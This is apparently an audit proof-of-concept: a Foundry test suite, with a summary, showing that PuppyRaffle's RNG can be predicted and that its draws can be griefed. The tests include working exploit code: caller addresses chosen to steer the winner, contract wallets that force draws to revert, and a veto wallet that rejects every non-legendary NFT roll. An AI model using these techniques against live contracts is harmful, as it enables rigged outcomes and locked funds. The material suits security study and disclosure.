The Foundry suite test/PoC_PR-10.t.sol has six tests, and all of them pass. A baseline test confirms that the test's index predictor matches the contract's RNG. A contract wallet without onERC721Received reverts with "ERC721: transfer to non ERC721Receiver implementer" on 10 draws while state is unchanged. A wallet without a payable receive reverts at L152 and cannot refund. Slots holding address(raffle) and address(0) revert their draws. Griefer slots make 21 of 40 draws revert, and all 30 draws revert when every slot is a griefer slot. A veto wallet rejects a non-legendary roll. Run it with forge test --match-path test/PoC_PR-10.t.sol -vv.
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract EthOnlyWallet {
function enter(PuppyRaffle raffle) external payable {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: msg.value}(me);
}
receive() external payable {}
}
contract NftOnlyWallet {
function enter(PuppyRaffle raffle) external payable {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: msg.value}(me);
}
function tryRefund(PuppyRaffle raffle, uint256 idx) external {
raffle.refund(idx);
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return bytes4(0x150b7a02);
}
}
contract VetoWallet {
PuppyRaffle public immutable raffle;
constructor(PuppyRaffle r) {
raffle = r;
}
function enter() external payable {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: msg.value}(me);
}
receive() external payable {}
function onERC721Received(address, address, uint256 tokenId, bytes calldata) external view returns (bytes4) {
require(raffle.tokenIdToRarity(tokenId) == raffle.LEGENDARY_RARITY(), "Veto: puppy not legendary");
return bytes4(0x150b7a02);
}
}
contract PoC_PR10 is Test {
PuppyRaffle raffle;
uint256 constant FEE = 1 ether;
uint256 constant DURATION = 1 days;
address constant FEE_ADDR = address(0xFEE);
function setUp() public {
raffle = new PuppyRaffle(FEE, FEE_ADDR, DURATION);
vm.deal(address(this), 1000 ether);
}
function _eoa(uint256 i) internal pure returns (address) {
return address(uint160(0xE0A0000 + i));
}
function _caller(uint256 k) internal pure returns (address) {
return address(uint160(0xCA11E50000 + k));
}
function _predictIndex(address caller, uint256 n) internal view returns (uint256) {
return uint256(keccak256(abi.encodePacked(caller, block.timestamp, block.difficulty))) % n;
}
function _predictRarity(address caller) internal view returns (uint256) {
return uint256(keccak256(abi.encodePacked(caller, block.difficulty))) % 100;
}
function _callerHitting(uint256 target, uint256 n, uint256 from) internal view returns (address, uint256) {
for (uint256 k = from; k < from + 10000; k++) {
if (_predictIndex(_caller(k), n) == target) return (_caller(k), k + 1);
}
revert("no caller found");
}
function _enterEoas(uint256 count, uint256 offset) internal returns (address[] memory eoas) {
eoas = new address[](count);
for (uint256 i = 0; i < count; i++) {
eoas[i] = _eoa(offset + i);
}
raffle.enterRaffle{value: FEE * count}(eoas);
}
function _warpPastEnd() internal {
vm.warp(raffle.raffleStartTime() + DURATION + 1);
}
function _selectWinnerAs(address caller) internal returns (bool ok) {
vm.prank(caller);
(ok,) = address(raffle).call(abi.encodeWithSelector(PuppyRaffle.selectWinner.selector));
}
function test_Baseline_EOAWinnerGetsPrizeAndNft() public {
address[] memory eoas = _enterEoas(4, 0);
_warpPastEnd();
address keeper = _caller(0);
uint256 idx = _predictIndex(keeper, 4);
vm.prank(keeper);
raffle.selectWinner();
address winner = raffle.previousWinner();
assertEq(winner, eoas[idx], "predictor matches L128-129");
assertEq(winner.balance, 3.2 ether, "winner got 80% of 4 ETH");
assertEq(raffle.ownerOf(0), winner, "winner got the puppy NFT");
console.log("baseline winner index", idx);
}
function test_Limb1_EthOnlyWalletPaysFullPriceButCanNeverWin() public {
address[] memory eoas = _enterEoas(3, 0);
EthOnlyWallet wallet = new EthOnlyWallet();
wallet.enter{value: FEE}(raffle);
uint256 walletIdx = 3;
assertEq(raffle.players(walletIdx), address(wallet));
assertEq(address(wallet).balance, 0, "wallet paid the full entrance fee");
assertEq(address(raffle).balance, 4 ether);
_warpPastEnd();
uint256 startTime = raffle.raffleStartTime();
uint256 hits;
uint256 nonce;
while (hits < 10) {
address caller;
(caller, nonce) = _callerHitting(walletIdx, 4, nonce);
vm.prank(caller);
vm.expectRevert(bytes("ERC721: transfer to non ERC721Receiver implementer"));
raffle.selectWinner();
hits++;
assertEq(address(raffle).balance, 4 ether);
assertEq(raffle.players(walletIdx), address(wallet));
assertEq(raffle.raffleStartTime(), startTime);
assertEq(raffle.previousWinner(), address(0));
assertEq(address(wallet).balance, 0);
}
console.log("draws landing on EthOnlyWallet that reverted:", hits);
uint256 k = 0;
while (_predictIndex(_caller(k), 4) == walletIdx) k++;
uint256 eoaIdx = _predictIndex(_caller(k), 4);
vm.prank(_caller(k));
raffle.selectWinner();
assertEq(raffle.previousWinner(), eoas[eoaIdx]);
assertEq(eoas[eoaIdx].balance, 3.2 ether, "prize includes the wallet's 1 ETH");
assertEq(raffle.balanceOf(address(wallet)), 0, "wallet never got an NFT");
assertEq(address(wallet).balance, 0, "wallet lost its fee");
}
function test_Limb1b_NftOnlyWalletFailsAtPrizePushAndCannotRefund() public {
_enterEoas(3, 0);
NftOnlyWallet wallet = new NftOnlyWallet();
wallet.enter{value: FEE}(raffle);
uint256 walletIdx = 3;
_warpPastEnd();
(address caller,) = _callerHitting(walletIdx, 4, 0);
vm.prank(caller);
vm.expectRevert(bytes("PuppyRaffle: Failed to send prize pool to winner"));
raffle.selectWinner();
assertEq(address(raffle).balance, 4 ether, "no funds moved");
vm.expectRevert(bytes("Address: unable to send value, recipient may have reverted"));
wallet.tryRefund(raffle, walletIdx);
assertEq(raffle.players(walletIdx), address(wallet), "still occupies the slot");
}
function test_Limb2_RaffleAndZeroAddressSlotsRevertAndAreUnrefundable() public {
address[] memory entrants = new address[](4);
entrants[0] = _eoa(0);
entrants[1] = _eoa(1);
entrants[2] = address(raffle);
entrants[3] = address(0);
raffle.enterRaffle{value: 4 ether}(entrants);
assertEq(raffle.players(2), address(raffle));
assertEq(raffle.players(3), address(0));
_warpPastEnd();
(address c2,) = _callerHitting(2, 4, 0);
vm.prank(c2);
vm.expectRevert(bytes("PuppyRaffle: Failed to send prize pool to winner"));
raffle.selectWinner();
(address c3,) = _callerHitting(3, 4, 0);
vm.prank(c3);
vm.expectRevert(bytes("ERC721: mint to the zero address"));
raffle.selectWinner();
vm.prank(address(raffle));
vm.expectRevert(bytes("Address: unable to send value, recipient may have reverted"));
raffle.refund(2);
vm.prank(address(0));
vm.expectRevert(bytes("PuppyRaffle: Player already refunded, or is not active"));
raffle.refund(3);
assertEq(address(raffle).balance, 4 ether, "nothing moved");
(address c0,) = _callerHitting(0, 4, 0);
vm.prank(c0);
raffle.selectWinner();
assertEq(raffle.previousWinner(), _eoa(0));
assertEq(_eoa(0).balance, 3.2 ether);
}
function test_Limb3_GrieferSlotsDelaySettlement() public {
address[] memory eoas = _enterEoas(4, 0);
address payable griefer = payable(address(0x6EEF));
vm.deal(griefer, 4 ether);
for (uint256 i = 0; i < 4; i++) {
EthOnlyWallet w = new EthOnlyWallet();
vm.prank(griefer);
w.enter{value: FEE}(raffle);
}
assertEq(griefer.balance, 0, "griefer paid 4 ETH for its slots");
_warpPastEnd();
address keeper = address(0xBEEF);
uint256 base = block.timestamp;
uint256 reverts;
uint256 successes;
for (uint256 t = 0; t < 40; t++) {
vm.warp(base + t * 12);
uint256 idx = _predictIndex(keeper, 8);
uint256 snap = vm.snapshotState();
bool ok = _selectWinnerAs(keeper);
if (idx >= 4) {
assertTrue(!ok, "griefer slot drawn -> revert");
reverts++;
} else {
assertTrue(ok, "honest slot drawn -> settles");
assertEq(raffle.previousWinner(), eoas[idx]);
successes++;
}
vm.revertToState(snap);
}
console.log("8 slots (4 griefer): reverted draws", reverts);
console.log("8 slots (4 griefer): settled draws ", successes);
assertGt(reverts, 0);
assertGt(successes, 0);
raffle = new PuppyRaffle(FEE, FEE_ADDR, DURATION);
for (uint256 i = 0; i < 4; i++) {
new EthOnlyWallet().enter{value: FEE}(raffle);
}
_warpPastEnd();
for (uint256 k = 0; k < 30; k++) {
assertTrue(!_selectWinnerAs(_caller(k)), "all-griefer round: every draw reverts");
}
assertEq(address(raffle).balance, 4 ether);
console.log("all-griefer round: 30/30 draws reverted");
address honest = _eoa(100);
address[] memory one = new address[](1);
one[0] = honest;
raffle.enterRaffle{value: FEE}(one);
(address c,) = _callerHitting(4, 5, 0);
vm.prank(c);
raffle.selectWinner();
assertEq(raffle.previousWinner(), honest);
assertEq(honest.balance, 4 ether, "honest entrant wins 80% of 5 ETH");
}
function test_Limb4_WinnerContractVetoesNonLegendaryOutcome() public {
_enterEoas(3, 0);
VetoWallet veto = new VetoWallet(raffle);
veto.enter{value: FEE}();
uint256 vetoIdx = 3;
_warpPastEnd();
address cBad;
address cGood;
for (uint256 k = 0; k < 20000 && (cBad == address(0) || cGood == address(0)); k++) {
address c = _caller(k);
if (_predictIndex(c, 4) != vetoIdx) continue;
if (_predictRarity(c) > 95) {
if (cGood == address(0)) cGood = c;
} else if (cBad == address(0)) {
cBad = c;
}
}
require(cBad != address(0) && cGood != address(0), "search failed");
console.log("rarity roll on vetoed draw ", _predictRarity(cBad));
console.log("rarity roll on accepted draw", _predictRarity(cGood));
vm.prank(cBad);
vm.expectRevert(bytes("Veto: puppy not legendary"));
raffle.selectWinner();
assertEq(raffle.previousWinner(), address(0), "vetoed draw rolled back");
vm.prank(cGood);
raffle.selectWinner();
assertEq(raffle.ownerOf(0), address(veto));
assertEq(raffle.tokenIdToRarity(0), raffle.LEGENDARY_RARITY(), "veto wallet kept only a legendary");
assertEq(address(veto).balance, 3.2 ether);
}
}